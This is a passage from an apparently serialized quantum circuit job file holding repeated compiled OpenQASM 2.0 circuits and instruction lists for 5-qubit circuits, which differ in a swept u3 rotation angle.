c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.2, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.2', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1291', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.300000000000001, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.3', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1293', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.4, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.4', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1295', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.5, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.5', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': 